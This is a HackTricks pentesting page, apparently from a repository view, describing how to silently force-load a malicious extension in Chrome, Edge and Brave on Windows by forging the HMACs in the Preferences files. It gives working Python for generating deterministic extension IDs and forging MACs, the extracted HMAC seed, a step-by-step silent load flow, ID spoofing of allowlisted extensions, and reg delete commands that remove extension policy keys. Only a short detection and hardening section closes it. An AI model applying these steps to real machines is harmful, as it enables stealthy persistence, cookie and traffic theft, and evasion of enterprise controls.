hacktricks/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
HackTricks News Bot 504d0634d6 Add content from: The Phantom Extension: Backdooring chrome through uncharted ...
- Remove searchindex.js (auto-generated file)
2025-09-23 18:39:54 +00:00

10 KiB
Raw Blame History

Forced Extension Load & Preferences MAC Forgery (Windows)

{{#include ../../banners/hacktricks-training.md}}

Overview

Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a users Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.

Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browsers embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.

Where extension state lives (Windows)

  • Nondomainjoined Chrome profile:
    • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Domainjoined Chrome profile:
    • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
    • extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
    • protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
    • Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MACsigned for unpacked extensions to activate

Simplified schema (illustrative):

{
  "extensions": {
    "settings": {
      "<extension_id>": {
        "name": "Extension name",
        "manifest_version": 3,
        "version": "1.0",
        "key": "<BASE64 DER SPKI>",
        "path": "<absolute path if unpacked>",
        "state": 1,
        "from_bookmark": false,
        "was_installed_by_default": false
        // ...rest of manifest.json + required install metadata
      }
    },
    "ui": { "developer_mode": true }
  },
  "protection": {
    "macs": {
      "extensions": {
        "settings": { "<extension_id>": "<MAC>" },
        "ui": { "developer_mode": "<MAC>" }
      }
    }
  }
}

Notes:

  • Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).

Extension IDs: path vs key and making them deterministic

Chromium derives the extension ID as follows:

  • Packed/signed extension: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
  • Unpacked (no key in manifest): ID = SHA256 over the absolute installation path bytes → map 0f to ap

To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.

Helper to generate a deterministic ID and a key pair:

import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
    t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
    return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
    priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    pub = priv.public_key()
    spki = pub.public_bytes(encoding=serialization.Encoding.DER,
                            format=serialization.PublicFormat.SubjectPublicKeyInfo)
    crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
    pub_b64 = base64.b64encode(spki).decode('utf-8')
    priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
                                  format=serialization.PrivateFormat.TraditionalOpenSSL,
                                  encryption_algorithm=serialization.NoEncryption())
    priv_b64 = base64.b64encode(priv_der).decode('utf-8')
    return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Add the generated public key into your manifest.json to lock the ID:

{
  "manifest_version": 3,
  "name": "Synacktiv extension",
  "version": "1.0",
  "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium protects preferences with HMACSHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browsers resources.pak and was still valid up to Chromium 139.

Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds):

python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Compute MACs (uppercase hex) as:

ext_mac = HMAC_SHA256(seed,
  "extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
  "extensions.ui.developer_mode" + ("true" or "false"))

Minimal Python example:

import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
    seed = bytes.fromhex(seed_hex)
    # Compact JSON to match Chromium serialization closely
    val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
    msg = (pref_path + val).encode('utf-8')
    return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Implementation tips

  • Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
  • Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry wont activate.

Endtoend silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
  4. Write the crafted nodes and MACs into the target profiles Preferences/Secure Preferences; next launch will autoactivate your extension with full declared privileges

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)

    1. Install an allowed Web Store extension and note its ID
    2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
    3. Set that key as manifest.key in your modified extension to reproduce the same ID
    4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

    • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
  • Neutralizing GPO via HKCU (requires admin)

    • Chrome/Edge policies live under HKCU\Software\Policies*
    • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Noisy fallback: command-line loading

From Chromium ≥137, --load-extension requires also passing:

--disable-features=DisableLoadExtensionCommandLineSwitch

This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.

Related flags and more crossplatform tricks are discussed here:

{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md {{#endref}}

Operational impact

Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively inbrowser code execution and durable userprofile persistence. Remote deployment over SMB or other channels is straightforward because activation is datadriven via Preferences.

Detection and hardening

  • Monitor for nonChromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
  • Alert on unexpected toggling of extensions.ui.developer_mode and on HMACvalid but unapproved extension entries
  • Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
  • Prefer forcedinstall from the store with verified publishers rather than allowlists that match only on extension ID

References

{{#include ../../banners/hacktricks-training.md}}